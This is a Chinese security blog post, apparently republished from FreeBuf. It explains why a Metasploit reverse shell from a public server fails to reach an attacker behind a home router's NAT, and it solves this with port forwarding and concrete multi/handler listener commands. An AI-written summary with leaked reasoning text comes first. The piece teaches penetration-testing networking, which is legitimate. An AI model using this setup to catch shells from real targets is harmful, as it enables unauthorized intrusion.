讨论内网MSF为何不能拿取公网服务器回弹的权限
嗯,用户让我帮忙总结一下这篇文章的内容,控制在一百个字以内,而且不需要用“文章内容总结”之类的开头,直接写描述就行。首先,我需要仔细阅读这篇文章,了解它的主要内容。 文章主要讲的是在内网环境中使用Metasploit(MSF)对外网服务器进行渗透测试时遇到的NAT转发问题。当攻击机发送请求到外网服务器时,路由器会进行NAT转换,记录内网IP和端口,并将源地址改为路由器的公网IP。但是当外网服务器尝试回弹连接时,路由器的NAT表中没有对应的记录,导致回弹连接被丢弃。 文章详细解释了为什么会出现这种情况,并提出了一个解决方案:在路由器上配置端口映射规则。具体步骤包括查询内网攻击机的私网IP、路由器的公网IP、选择一个监听端口;登录路由器管理后台,找到端口映射功能,添加映射规则;然后在MSF中配置回弹地址和端口,并启动监听。 最后,文章还提到了容器端口映射的例子,说明了类似的问题和解决方法。 总结起来,这篇文章主要讨论了内网环境下使用MSF进行渗透测试时遇到的NAT转发问题及其解决方案。 </think> 本文详细探讨了在内网环境下使用Metasploit(MSF)对外网服务器进行渗透测试时遇到的NAT转发问题。文章解释了为何在外网服务器尝试回弹连接时会失败,并提供了一个解决方案:通过在路由器上配置端口映射规则来解决这个问题。此外,还提到了容器端口映射的相关内容。 2025-11-1 03:58:42 Author: www.freebuf.com(查看原文) 阅读量:1 收藏

freeBuf

主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

1.声明

下面文章中的所有内容均为本人自己思考,希望能够对在这个方面有困惑的人一些启发,当然如果有不对的地方还请批评指正

image.png

1、现在我们操控内网环境中一台机器(这里可以想象成我们的笔记本电脑)
2、我们现在发现了某Linux外网服务器上部署有 solr 组件并且确定存在历史漏洞
3、我们现在使用笔记本的 MSF 去对外网服务器进行渗透
1、当我们在内网使用MSF 对外网服务器进行攻击,流量会先转发到路由器,此时路由器中的 NAT 表会记录流量从哪个内网IP来并且将其源地址改为路由器的公网IP加端口,并向目标服务器发送

注意:这里无论是网线还是wifi,本质上出网靠的是路由器的公网IP,实际的笔记本本身是不具有公网IP的,只有内网IP

2、流量转发到了目标服务器,我们假设目标服务器没有设置出站,入站规则,当公网目标执行 reverse payload 时,会按照 payload 中指定的 “回弹地址” 发起连接。

3、此时流量再次来到了路由器,但是与上次不同的是,路由器中 NAT 表中并没有记录,也就是说它不知道要发给哪台内网机器,因此权限在路由器这里就截断了,就没办法向下传递,笔记本自然也就接受不到权限

注意:这里可能会有人疑惑就是 当笔记本请求百度时,流量不也会从百度走路由器回到笔记本吗,为什么这个可以识别,而权限反弹就不可以。

解答:
内网服务器(私网 IP:192.168.1.100)主动访问公网目标(公网 IP:222.xx.xx.xx)时,会先把数据包发给路由器。
路由器会做两件事:一是记录 “转发映射表”(内网私网 IP + 端口 → 路由器公网 IP + 临时端口),二是把数据包的源地址换成自己的公网 IP,再发给公网目标。
公网目标的响应数据会发给路由器的公网 IP + 临时端口,路由器通过之前的 “转发记录”,能精准转发到内网服务器的私网 IP,所以通信正常。

权限回弹是公网目标主动发起连接,目标地址是 “路由器公网 IP + 你设置的监听端口”(而非之前的临时端口)。
路由器收到这个连接请求时,会查自己的 “转发映射表”,但表中只有 “内网主动请求” 对应的临时端口记录,没有 “公网 IP + 监听端口” 对应的内网私网 IP(你没手动配置端口映射)。
路由器找不到转发目标,且默认拒绝 “外部主动访问内网”,就会直接丢弃这个回弹连接,和内网服务器之前的请求记录无关。
根据上面的推理,我们就知道解决的关键在于如何让路由器知道,权限要给哪台内网机器

1、核心逻辑:
给路由器加一条 “规则”:让公网流量访问 “路由器公网 IP + 指定端口” 时,自动转发到内网攻击机的 “私网 IP+MSF 监听端口”,相当于告诉路由器 “这个回弹连接是给攻击机的”。

2、操作步骤:
    (1)查关键信息:
        内网攻击机私网 IP(比如 192.168.1.105,可通过ipconfig/ifconfig查询)。
        路由器公网 IP(可百度 “我的 IP” 获取,比如 223.xx.xx.xx)。
        确定 MSF 要监听的端口(比如 4444,选 1024-65535 之间未被占用的端口)。
    (2)路由器配置端口映射:
        登录路由器管理后台(通常是 192.168.1.1 或 192.168.0.1,看路由器背面说明)。
        找到 “端口映射”“虚拟服务器” 或 “NAT 转发” 功能(不同路由器名称不同,位置在 “高级设置” 里)。
        新增映射规则:外部端口填 4444,内部 IP 填 192.168.1.105,内部端口填 4444,协议选 TCP(MSF reverse_tcp 默认用 TCP),保存生效。
    (3)MSF 配置与监听:
        生成 payload 时,回弹地址填 “路由器公网 IP”(223.xx.xx.xx),回弹端口填 4444(和映射端口一致)。
        启动监听:use exploit/multi/handler → set PAYLOAD windows/meterpreter/reverse_tcp(根据目标系统选对应 payload)→ set LHOST 0.0.0.0(监听内网所有 IP)→ set LPORT 4444 → run。
1、这也就解释了为什么在公网服务器假设 MSF 就可以收到

因为公网服务器有自己独立的公网IP,没有内外网转发这种麻烦的流程,直接点对点

2、容器的端口映射

比如容器的8983端口架设了solr,将该端口映射到本机的 12456 端口,那么访问本机的12456端口,即可访问到容器的8983端口

免责声明

1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。

2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。

3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。

本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)


文章来源: https://www.freebuf.com/articles/web/455251.html
如有侵权请联系:admin#unsafe.sh